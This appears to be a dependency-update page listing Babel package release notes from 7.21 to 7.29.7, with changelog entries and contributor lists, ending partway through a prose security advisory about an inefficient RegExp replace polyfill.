#17213 Reduce regeneratorRuntime size (@liuxingbaoyu)

Committers: 9

Aryan Bharti (@woaitsAryan)

Babel Bot (@babel-bot)

Frolov Roman (@Lacsw)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

@magic-akari

_Kerman (@kermanx)

fisker Cheung (@fisker)

7.25.9

v7.25.9 (2024-10-22)

Thanks @victorenator for your first PR!

🐛 Bug Fix

babel-parser, babel-template, babel-types

#16905 fix: Keep type annotations in syntacticPlaceholders mode (@liuxingbaoyu)

babel-helper-compilation-targets, babel-preset-env

#16907 fix: support BROWSERSLIST{,_CONFIG} env (@JLHwung)

Other

#16884 Analyze ClassAccessorProperty to prevent the no-undef rule (@victorenator)

🏠 Internal

babel-helper-transform-fixture-test-runner

#16914 remove test options flaky (@JLHwung)

Every package

#16917 fix: Accidentally published tsconfig files (@liuxingbaoyu)

🏃‍♀️ Performance

babel-parser, babel-types

#16918 perf: Make VISITOR_KEYS etc. faster to access (@liuxingbaoyu)

Committers: 4

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Viktar Vaŭčkievič (@victorenator)

@liuxingbaoyu

7.25.7

v7.25.7 (2024-10-02)

Thanks @DylanPiercey and @YuHyeonWook for your first PRs!

🐛 Bug Fix

babel-helper-validator-identifier

#16825 fix: update identifier to unicode 16 (@JLHwung)

babel-traverse

#16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)

babel-plugin-transform-classes

#16797 Use an inclusion rather than exclusion list for super() check (@nicolo-ribaudo)

babel-generator

#16788 Fix printing of TS infer in compact mode (@nicolo-ribaudo)

#16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)

#16778 Respect [no LineTerminator here] after nodes (@nicolo-ribaudo)

💅 Polish

babel-types

#16852 Add deprecated JSDOC for fields (@liuxingbaoyu)

🏠 Internal

babel-core

#16820 Allow sync loading of ESM when --experimental-require-module (@nicolo-ribaudo)

babel-helper-compilation-targets, babel-helper-plugin-utils, babel-preset-env

#16858 Add browserslist config to external dependency (@JLHwung)

babel-plugin-proposal-destructuring-private, babel-plugin-syntax-decimal, babel-plugin-syntax-import-reflection, babel-standalone

#16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)

babel-generator

#16779 Simplify logic for [no LineTerminator here] before nodes (@nicolo-ribaudo)

🏃‍♀️ Performance

babel-plugin-transform-typescript

#16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)

babel-types

#16842 perf: Improve @babel/types builders (@liuxingbaoyu)

#16828 Only access BABEL_TYPES_8_BREAKING at startup (@nicolo-ribaudo)

Committers: 8

Babel Bot (@babel-bot)

Dylan Piercey (@DylanPiercey)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

coderaiser (@coderaiser)

fisker Cheung (@fisker)

hwook (@YuHyeonWook)

7.24.7

v7.24.7 (2024-06-05)

🐛 Bug Fix

babel-node

#16554 Allow extra flags in babel-node (@nicolo-ribaudo)

babel-traverse

#16522 fix: incorrect constantViolations with destructuring (@liuxingbaoyu)

babel-helper-transform-fixture-test-runner, babel-plugin-proposal-explicit-resource-management

#16524 fix: Transform using in switch correctly (@liuxingbaoyu)

🏠 Internal

babel-helpers, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16525 Delete unused array helpers (@blakewilson)

Committers: 7

Amjad Yahia Robeen Hassan (@amjed-98)

Babel Bot (@babel-bot)

Blake Wilson (@blakewilson)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

Sukka (@SukkaW)

@liuxingbaoyu

7.24.6

v7.24.6 (2024-05-24)

Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!

🐛 Bug Fix

babel-helper-create-class-features-plugin, babel-plugin-transform-class-properties

#16514 Fix source maps for private member expressions (@nicolo-ribaudo)

babel-core, babel-generator, babel-plugin-transform-modules-commonjs

#16515 Fix source maps for template literals (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators

#16485 Support undecorated static accessor in anonymous classes (@JLHwung)

#16484 Fix decorator bare yield await (@JLHwung)

babel-helpers, babel-plugin-proposal-decorators, babel-runtime-corejs3

#16483 Fix: throw TypeError if addInitializer is called after finished (@JLHwung)

babel-parser, babel-plugin-transform-typescript

#16476 fix: Correctly parse cls.fn<C> = x (@liuxingbaoyu)

🏠 Internal

babel-core, babel-helpers, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16501 Generate helper metadata at build time (@nicolo-ribaudo)

babel-helpers

#16499 Add tsconfig.json for @babel/helpers/src/helpers (@nicolo-ribaudo)

babel-cli, babel-helpers, babel-plugin-external-helpers, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties, babel-plugin-transform-modules-commonjs, babel-plugin-transform-modules-systemjs, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16495 Move all runtime helpers to individual files (@nicolo-ribaudo)

babel-parser, babel-traverse

#16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)

Other

#16466 Migrate import assertions syntax (@JLHwung)

Committers: 9

Amjad Yahia Robeen Hassan (@amjed-98)

Babel Bot (@babel-bot)

Blake Wilson (@blakewilson)

Huáng Jùnliàng (@JLHwung)

Lucas Coelho (@coelhucas)

Nicolò Ribaudo (@nicolo-ribaudo)

Sukka (@SukkaW)

Zzzen (@Zzzen)

@liuxingbaoyu

7.24.3

v7.24.3 (2024-03-20)

🐛 Bug Fix

babel-helper-module-imports

#16370 fix: do not inject the same imported identifier multiple times (@ota-meshi)

Committers: 2

Nicolò Ribaudo (@nicolo-ribaudo)

Yosuke Ota (@ota-meshi)

7.24.1

v7.24.1 (2024-03-19)

🐛 Bug Fix

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators

#16350 Fix decorated class computed keys ordering (@JLHwung)

#16344 Fix decorated class static field private access (@JLHwung)

babel-plugin-proposal-decorators, babel-plugin-proposal-json-modules, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-plugin-transform-runtime, babel-preset-env

#16329 Respect moduleName for @babel/runtime/regenerator imports (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-proposal-pipeline-operator, babel-plugin-transform-class-properties

#16331 Fix decorator memoiser binding kind (@JLHwung)

babel-helper-create-class-features-plugin, babel-helper-replace-supers, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties

#16325 Fix decorator evaluation private environment (@JLHwung)

📝 Documentation

#16319 Update SECURITY.md (@nicolo-ribaudo)

🏠 Internal

babel-code-frame, babel-highlight

#16359 Replace chalk with picocolors (@nicolo-ribaudo)

babel-helper-fixtures, babel-helpers, babel-plugin-bugfix-safari-id-destructuring-collision-in-function-expression, babel-plugin-proposal-pipeline-operator, babel-plugin-transform-unicode-sets-regex, babel-preset-env, babel-preset-flow

#16352 Run Babel transform tests on old node if possible (@JLHwung)

babel-helper-module-imports, babel-plugin-proposal-import-wasm-source, babel-plugin-proposal-json-modules, babel-plugin-proposal-record-and-tuple, babel-plugin-transform-react-jsx-development, babel-plugin-transform-react-jsx

#16349 Support merging imports in import injector (@nicolo-ribaudo)

Other

#16332 Test Babel 7 plugins compatibility with Babel 8 core (@nicolo-ribaudo)

🔬 Output optimization

babel-helper-replace-supers, babel-plugin-transform-class-properties, babel-plugin-transform-classes, babel-plugin-transform-parameters, babel-plugin-transform-runtime

#16345 Optimize the use of assertThisInitialized after super() (@liuxingbaoyu)

babel-plugin-transform-class-properties, babel-plugin-transform-classes

#16343 Use simpler assertThisInitialized more often (@liuxingbaoyu)

babel-plugin-proposal-decorators, babel-plugin-transform-class-properties, babel-plugin-transform-object-rest-spread, babel-traverse

#16342 Consider well-known and registered symbols as literals (@nicolo-ribaudo)

babel-core, babel-plugin-external-helpers, babel-plugin-proposal-decorators, babel-plugin-proposal-function-bind, babel-plugin-transform-class-properties, babel-plugin-transform-classes, babel-plugin-transform-flow-comments, babel-plugin-transform-flow-strip-types, babel-plugin-transform-function-name, babel-plugin-transform-modules-systemjs, babel-plugin-transform-parameters, babel-plugin-transform-private-property-in-object, babel-plugin-transform-react-jsx, babel-plugin-transform-runtime, babel-plugin-transform-spread, babel-plugin-transform-typescript, babel-preset-env

#16326 Reduce the use of class names (@liuxingbaoyu)

Committers: 4

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

7.22.15

v7.22.15 (2023-09-04)

🐛 Bug Fix

babel-core

#15923 Only perform config loading re-entrancy check for cjs (@nicolo-ribaudo)

🏠 Internal

Every package

#15892 Add explicit .ts/.js extension to all imports in src (@nicolo-ribaudo)

Committers: 4

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

7.22.5

v7.22.5 (2023-06-08)

🐛 Bug Fix

babel-preset-env, babel-standalone

#15675 Fix using syntax-unicode-sets-regex in standalone (@nicolo-ribaudo)

💅 Polish

babel-core

#15683 Suggest -transform- when resolving missing plugins (@nicolo-ribaudo)

Committers: 4

Avery (@nullableVoidPtr)

Babel Bot (@babel-bot)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

7.21.4

v7.21.4 (2023-03-31)

🐛 Bug Fix

babel-core, babel-helper-module-imports, babel-preset-typescript

#15478 Fix support for import/export in .cts files (@liuxingbaoyu)

babel-generator

#15496 Fix compact printing of non-null assertion operators (@rtsao)

💅 Polish

babel-helper-create-class-features-plugin, babel-plugin-proposal-class-properties, babel-plugin-transform-typescript, babel-traverse

#15427 Fix moving comments of removed nodes (@nicolo-ribaudo)

🏠 Internal

Other

#15519 Update Prettier integration test (@fisker)

babel-parser

#15510 refactor: introduce lookaheadInLineCharCode (@JLHwung)

babel-code-frame, babel-highlight

#15499 Polish babel-code-frame highlight test (@JLHwung)

Committers: 6

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

Ryan Tsao (@rtsao)

@liuxingbaoyu

fisker Cheung (@fisker)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @babel/helper-module-transforms (indirect, 7.20.2 → 7.29.7) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @babel/helper-plugin-utils (indirect, 7.20.2 → 7.29.7) · Repo · Changelog

Release Notes

7.29.7

v7.29.7 (2026-05-25)

Re-release all packages with npm provenance attestations

7.27.1

v7.27.1 (2025-04-30)

Thanks @kermanx and @woaitsAryan for your first PRs!

👓 Spec Compliance

babel-parser

#17254 Allow using of as lexical declaration within for (@JLHwung)

#17230 Disallow get/set in TSPropertySignature (@JLHwung)

babel-parser, babel-types

#17193 Stricter TSImportType options parsing (@JLHwung)

🐛 Bug Fix

babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-traverse

#17137 fix: do expressions should allow early exit (@kermanx)

babel-helper-wrap-function, babel-plugin-transform-async-to-generator

#17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)

babel-helper-remap-async-to-generator, babel-plugin-transform-async-to-generator

#17231 fix apply()/call() annotated as pure (@Lacsw)

babel-helper-fixtures, babel-parser

#17233 Create ChainExpression within TSInstantiationExpression (@JLHwung)

babel-generator, babel-parser

#17226 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 2) (@JLHwung)

babel-parser

#17224 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 1) (@JLHwung)

#17080 Fix start of TSParameterProperty (@JLHwung)

babel-compat-data, babel-preset-env

#17228 Update firefox bugfix compat data (@JLHwung)

babel-traverse

#17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)

babel-generator

#17216 Fix: support const type parameter in generator (@JLHwung)

💅 Polish

babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining, babel-plugin-proposal-decorators, babel-plugin-transform-arrow-functions, babel-plugin-transform-class-properties, babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread, babel-plugin-transform-optional-chaining, babel-plugin-transform-parameters, babel-traverse

#17221 Reduce generated names size for the 10th-11th (@nicolo-ribaudo)

🏠 Internal

babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#17263 Remove unused regenerator-runtime dep in @babel/runtime (@nicolo-ribaudo)

babel-compat-data, babel-preset-env

#17256 Tune plugin compat data (@JLHwung)

babel-compat-data, babel-standalone

#17236 migrate babel-compat-data build script to mjs (@JLHwung)

babel-register

#16844 Migrate @babel/register to cts (@liuxingbaoyu)

babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

#17205 Inline regenerator in the relevant packages (@nicolo-ribaudo)

All packages

#17207 Enforce node protocol import (@JLHwung)

🔬 Output optimization

babel-helpers, babel-plugin-transform-modules-commonjs, babel-runtime-corejs3

#16538 Reduce interopRequireWildcard size (@liuxingbaoyu)

babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

#17213 Reduce regeneratorRuntime size (@liuxingbaoyu)

Committers: 9

Aryan Bharti (@woaitsAryan)

Babel Bot (@babel-bot)

Frolov Roman (@Lacsw)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

@magic-akari

_Kerman (@kermanx)

fisker Cheung (@fisker)

7.26.5

v7.26.5 (2025-01-10)

👓 Spec Compliance

babel-parser

#17011 Allow the dynamic import.defer() form of import defer (@babel-bot)

🐛 Bug Fix

babel-plugin-transform-block-scoped-functions

#17024 chore: Avoid calling isInStrictMode in Babel 7 (@liuxingbaoyu)

babel-plugin-transform-typescript

#17026 fix: Correctly generate exported const enums in namespace (@liuxingbaoyu)

babel-parser

#17045 [estree] Unify method type parameters handling (@JLHwung)

#17013 fix: Correctly set position for @(a.b)() (@liuxingbaoyu)

#16996 [estree] Adjust the start loc of class methods with type params (@nicolo-ribaudo)

babel-generator, babel-parser, babel-plugin-transform-flow-strip-types, babel-types

#17028 Support flow jsx opening element type arguments (@JLHwung)

babel-compat-data, babel-preset-env

#17031 fix: More accurate transform-typeof-symbol compat data (@liuxingbaoyu)

babel-generator, babel-parser, babel-types

#17019 Fix incomplete visitor keys (@JLHwung)

🔬 Output optimization

babel-plugin-transform-nullish-coalescing-operator

#16612 Improve nullish coalescing operator output (@liuxingbaoyu)

Committers: 5

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

fisker Cheung (@fisker)

7.25.9

v7.25.9 (2024-10-22)

Thanks @victorenator for your first PR!

🐛 Bug Fix

babel-parser, babel-template, babel-types

#16905 fix: Keep type annotations in syntacticPlaceholders mode (@liuxingbaoyu)

babel-helper-compilation-targets, babel-preset-env

#16907 fix: support BROWSERSLIST{,_CONFIG} env (@JLHwung)

Other

#16884 Analyze ClassAccessorProperty to prevent the no-undef rule (@victorenator)

🏠 Internal

babel-helper-transform-fixture-test-runner

#16914 remove test options flaky (@JLHwung)

Every package

#16917 fix: Accidentally published tsconfig files (@liuxingbaoyu)

🏃‍♀️ Performance

babel-parser, babel-types

#16918 perf: Make VISITOR_KEYS etc. faster to access (@liuxingbaoyu)

Committers: 4

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Viktar Vaŭčkievič (@victorenator)

@liuxingbaoyu

7.25.7

v7.25.7 (2024-10-02)

Thanks @DylanPiercey and @YuHyeonWook for your first PRs!

🐛 Bug Fix

babel-helper-validator-identifier

#16825 fix: update identifier to unicode 16 (@JLHwung)

babel-traverse

#16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)

babel-plugin-transform-classes

#16797 Use an inclusion rather than exclusion list for super() check (@nicolo-ribaudo)

babel-generator

#16788 Fix printing of TS infer in compact mode (@nicolo-ribaudo)

#16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)

#16778 Respect [no LineTerminator here] after nodes (@nicolo-ribaudo)

💅 Polish

babel-types

#16852 Add deprecated JSDOC for fields (@liuxingbaoyu)

🏠 Internal

babel-core

#16820 Allow sync loading of ESM when --experimental-require-module (@nicolo-ribaudo)

babel-helper-compilation-targets, babel-helper-plugin-utils, babel-preset-env

#16858 Add browserslist config to external dependency (@JLHwung)

babel-plugin-proposal-destructuring-private, babel-plugin-syntax-decimal, babel-plugin-syntax-import-reflection, babel-standalone

#16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)

babel-generator

#16779 Simplify logic for [no LineTerminator here] before nodes (@nicolo-ribaudo)

🏃‍♀️ Performance

babel-plugin-transform-typescript

#16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)

babel-types

#16842 perf: Improve @babel/types builders (@liuxingbaoyu)

#16828 Only access BABEL_TYPES_8_BREAKING at startup (@nicolo-ribaudo)

Committers: 8

Babel Bot (@babel-bot)

Dylan Piercey (@DylanPiercey)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

coderaiser (@coderaiser)

fisker Cheung (@fisker)

hwook (@YuHyeonWook)

7.24.8

v7.24.8 (2024-07-11)

Thanks @H0onnn, @jkup and @SreeXD for your first pull requests!

👓 Spec Compliance

babel-parser

#16567 Do not use strict mode in TS declare (@liuxingbaoyu)

🐛 Bug Fix

babel-generator

#16630 Correctly print parens around in in for heads (@nicolo-ribaudo)

#16626 Fix printing of comments in await using (@nicolo-ribaudo)

#16591 fix typescript code generation for yield expression inside type expre… (@SreeXD)

babel-parser

#16613 Disallow destructuring assignment in using declarations (@H0onnn)

#16490 fix: do not add .value: undefined to regexp literals (@liuxingbaoyu)

babel-types

#16615 Remove boolean props from ObjectTypeInternalSlot visitor keys (@nicolo-ribaudo)

babel-plugin-transform-typescript

#16566 fix: Correctly handle export import x = (@liuxingbaoyu)

💅 Polish

babel-generator

#16625 Avoid unnecessary parens around async in for await (@nicolo-ribaudo)

babel-traverse

#16619 Avoid checking Scope.globals multiple times (@liuxingbaoyu)

Committers: 9

Amjad Yahia Robeen Hassan (@amjed-98)

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Jon Kuperman (@jkup)

Nagendran N (@SreeXD)

Nicolò Ribaudo (@nicolo-ribaudo)

Sukka (@SukkaW)

@H0onnn

@liuxingbaoyu

7.24.7

v7.24.7 (2024-06-05)

🐛 Bug Fix

babel-node

#16554 Allow extra flags in babel-node (@nicolo-ribaudo)

babel-traverse

#16522 fix: incorrect constantViolations with destructuring (@liuxingbaoyu)

babel-helper-transform-fixture-test-runner, babel-plugin-proposal-explicit-resource-management

#16524 fix: Transform using in switch correctly (@liuxingbaoyu)

🏠 Internal

babel-helpers, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16525 Delete unused array helpers (@blakewilson)

Committers: 7

Amjad Yahia Robeen Hassan (@amjed-98)

Babel Bot (@babel-bot)

Blake Wilson (@blakewilson)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

Sukka (@SukkaW)

@liuxingbaoyu

7.24.6

v7.24.6 (2024-05-24)

Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!

🐛 Bug Fix

babel-helper-create-class-features-plugin, babel-plugin-transform-class-properties

#16514 Fix source maps for private member expressions (@nicolo-ribaudo)

babel-core, babel-generator, babel-plugin-transform-modules-commonjs

#16515 Fix source maps for template literals (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators

#16485 Support undecorated static accessor in anonymous classes (@JLHwung)

#16484 Fix decorator bare yield await (@JLHwung)

babel-helpers, babel-plugin-proposal-decorators, babel-runtime-corejs3

#16483 Fix: throw TypeError if addInitializer is called after finished (@JLHwung)

babel-parser, babel-plugin-transform-typescript

#16476 fix: Correctly parse cls.fn<C> = x (@liuxingbaoyu)

🏠 Internal

babel-core, babel-helpers, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16501 Generate helper metadata at build time (@nicolo-ribaudo)

babel-helpers

#16499 Add tsconfig.json for @babel/helpers/src/helpers (@nicolo-ribaudo)

babel-cli, babel-helpers, babel-plugin-external-helpers, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties, babel-plugin-transform-modules-commonjs, babel-plugin-transform-modules-systemjs, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16495 Move all runtime helpers to individual files (@nicolo-ribaudo)

babel-parser, babel-traverse

#16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)

Other

#16466 Migrate import assertions syntax (@JLHwung)

Committers: 9

Amjad Yahia Robeen Hassan (@amjed-98)

Babel Bot (@babel-bot)

Blake Wilson (@blakewilson)

Huáng Jùnliàng (@JLHwung)

Lucas Coelho (@coelhucas)

Nicolò Ribaudo (@nicolo-ribaudo)

Sukka (@SukkaW)

Zzzen (@Zzzen)

@liuxingbaoyu

7.24.5

v7.24.5 (2024-04-29)

Thanks @romgrk and @sossost for your first PRs!

🐛 Bug Fix

babel-plugin-transform-classes, babel-traverse

#16377 fix: TypeScript annotation affects output (@liuxingbaoyu)

babel-helpers, babel-plugin-proposal-explicit-resource-management, babel-runtime-corejs3

#16440 Fix suppressed error order (@sossost)

#16408 Await nullish async disposable (@JLHwung)

💅 Polish

babel-parser

#16407 Recover from exported using declaration (@JLHwung)

🏠 Internal

Other

#16414 Relax ESLint peerDependency constraint to allow v9 (@liuxingbaoyu)

babel-parser

#16425 Improve @babel/parser AST types (@nicolo-ribaudo)

#16417 Always pass type argument to .startNode (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-helper-module-transforms, babel-helper-split-export-declaration, babel-helper-wrap-function, babel-helpers, babel-plugin-bugfix-firefox-class-in-computed-class-key, babel-plugin-proposal-explicit-resource-management, babel-plugin-transform-block-scoping, babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread, babel-plugin-transform-optional-chaining, babel-plugin-transform-parameters, babel-plugin-transform-private-property-in-object, babel-plugin-transform-react-jsx-self, babel-plugin-transform-typeof-symbol, babel-plugin-transform-typescript, babel-traverse

#16439 Make NodePath<T | U> distributive (@nicolo-ribaudo)

babel-plugin-proposal-partial-application, babel-types

#16421 Remove JSXNamespacedName from valid CallExpression args (@nicolo-ribaudo)

babel-plugin-transform-class-properties, babel-preset-env

#16406 Do not load unnecessary Babel 7 syntax plugins in Babel 8 (@nicolo-ribaudo)

🏃‍♀️ Performance

babel-helpers, babel-preset-env, babel-runtime-corejs3

#16357 Performance: improve objectWithoutPropertiesLoose on V8 (@romgrk)

Committers: 6

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

Rom Grk (@romgrk)

@liuxingbaoyu

ynnsuis (@sossost)

7.24.0

v7.24.0 (2024-02-28)

Thanks @ajihyf for your first PR!

Release post with summary and highlights: https://babeljs.io/7.24.0

🚀 New Feature

babel-standalone

#11696 Export babel tooling packages in @babel/standalone (@ajihyf)

babel-core, babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-transform-class-properties

#16267 Implement noUninitializedPrivateFieldAccess assumption (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators, babel-plugin-proposal-pipeline-operator, babel-plugin-syntax-decorators, babel-plugin-transform-class-properties, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16242 Support decorator 2023-11 normative updates (@JLHwung)

babel-preset-flow

#16309 [babel 7] Allow setting ignoreExtensions in Flow preset (@nicolo-ribaudo)

#16284 Add experimental_useHermesParser option in preset-flow (@liuxingbaoyu)

babel-helper-import-to-platform-api, babel-plugin-proposal-import-wasm-source, babel-plugin-proposal-json-modules, babel-standalone

#16172 Add transform support for JSON modules imports (@nicolo-ribaudo)

babel-plugin-transform-runtime

#16241 Add back moduleName option to @babel/plugin-transform-runtime (@nicolo-ribaudo)

babel-parser, babel-types

#16277 Allow import attributes for TSImportType (@sosukesuzuki)

🐛 Bug Fix

babel-plugin-proposal-do-expressions, babel-traverse

#16305 fix: avoid popContext on unvisited node paths (@JLHwung)

babel-helper-create-class-features-plugin, babel-plugin-transform-private-methods, babel-plugin-transform-private-property-in-object

#16312 Fix class private properties when privateFieldsAsSymbols (@liuxingbaoyu)

babel-helper-create-class-features-plugin, babel-plugin-transform-private-methods

#16307 Fix the support of arguments in private get/set method (@liuxingbaoyu)

babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators

#16287 Reduce decorator static property size (@liuxingbaoyu)

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators

#16281 Fix evaluation order of decorators with cached receiver (@nicolo-ribaudo)

#16279 Fix decorator this memoization (@JLHwung)

#16266 Preserve static on decorated private accessor (@nicolo-ribaudo)

#16258 fix: handle decorated async private method and generator (@JLHwung)

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-async-generator-functions, babel-plugin-transform-private-methods, babel-plugin-transform-private-property-in-object, babel-plugin-transform-typescript, babel-preset-env

#16275 Fix class private properties when privateFieldsAsProperties (@liuxingbaoyu)

babel-helpers

#16268 Do not consider arguments in a helper as a global reference (@nicolo-ribaudo)

babel-helpers, babel-plugin-proposal-decorators

#16270 Handle symbol key class elements decoration (@JLHwung)

#16265 Do not define access.get for public setter decorators (@nicolo-ribaudo)

💅 Polish

babel-core, babel-helper-create-class-features-plugin, babel-preset-env

#12428 Suggest using BABEL_SHOW_CONFIG_FOR for config problems (@nicolo-ribaudo)

🏠 Internal

babel-helper-transform-fixture-test-runner

#16278 Continue writing output.js when exec.js throws (@liuxingbaoyu)

🔬 Output optimization

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators

#16306 Avoid intermediate functions for private accessors with decs (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators, babel-plugin-proposal-pipeline-operator, babel-plugin-transform-class-properties

#16294 More aggressively inline decorators in the static block (@nicolo-ribaudo)

babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-transform-private-methods

#16283 Do not use classPrivateMethodGet (@liuxingbaoyu)

babel-helper-create-class-features-plugin, babel-helpers, babel-plugin-proposal-decorators

#16287 Reduce decorator static property size (@liuxingbaoyu)

babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties

#16280 Reduce element decorator temp variables (@JLHwung)

babel-helper-create-class-features-plugin, babel-helper-fixtures, babel-helpers, babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining, babel-plugin-proposal-decorators, babel-plugin-proposal-destructuring-private, babel-plugin-proposal-optional-chaining-assign, babel-plugin-transform-class-properties, babel-plugin-transform-class-static-block, babel-plugin-transform-private-methods, babel-plugin-transform-private-property-in-object, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

#16261 Do not use descriptors for private class elements (@nicolo-ribaudo)

babel-helpers, babel-plugin-proposal-decorators

#16263 Reduce helper size for decorator 2023-11 (@liuxingbaoyu)

Committers: 7

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

SUZUKI Sosuke (@sosukesuzuki)

Yarden Shoham (@yardenshoham)

@liuxingbaoyu

flyafly (@ajihyf)

7.22.5

v7.22.5 (2023-06-08)

🐛 Bug Fix

babel-preset-env, babel-standalone

#15675 Fix using syntax-unicode-sets-regex in standalone (@nicolo-ribaudo)

💅 Polish

babel-core

#15683 Suggest -transform- when resolving missing plugins (@nicolo-ribaudo)

Committers: 4

Avery (@nullableVoidPtr)

Babel Bot (@babel-bot)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

7.21.5

v7.21.5 (2023-04-28)

👓 Spec Compliance

babel-generator, babel-parser, babel-types

#15539 fix: Remove mixins and implements for DeclareInterface and InterfaceDeclaration (@liuxingbaoyu)

🐛 Bug Fix

babel-core, babel-generator, babel-plugin-transform-modules-commonjs, babel-plugin-transform-react-jsx

#15515 fix: ) position with createParenthesizedExpressions (@liuxingbaoyu)

babel-preset-env

#15580 Add syntax import meta to preset env (@JLHwung)

💅 Polish

babel-types

#15546 Improve the layout of generated validators (@liuxingbaoyu)

babel-core

#15535 Use lt instead of lte to check TS version for .cts config (@nicolo-ribaudo)

🏠 Internal

babel-core

#15575 Use synchronous import.meta.resolve (@nicolo-ribaudo)

babel-helper-fixtures, babel-preset-typescript

#15568 Handle .overrides and .env when resolving plugins/presets from fixture options (@JLHwung)

babel-helper-create-class-features-plugin, babel-helper-create-regexp-features-plugin

#15548 Use semver package to compare versions (@nicolo-ribaudo)

Committers: 4

Babel Bot (@babel-bot)

Huáng Jùnliàng (@JLHwung)

Nicolò Ribaudo (@nicolo-ribaudo)

@liuxingbaoyu

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ @babel/helpers (indirect, 7.20.1 → 7.29.7) · Repo · Changelog

Security Advisories 🚨

🚨 Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups

Impact

When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the .replace method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to .replace).

Your generated code is vulnerable if all the following conditions are true:

You use Babel to compile regular expression named capturing groups

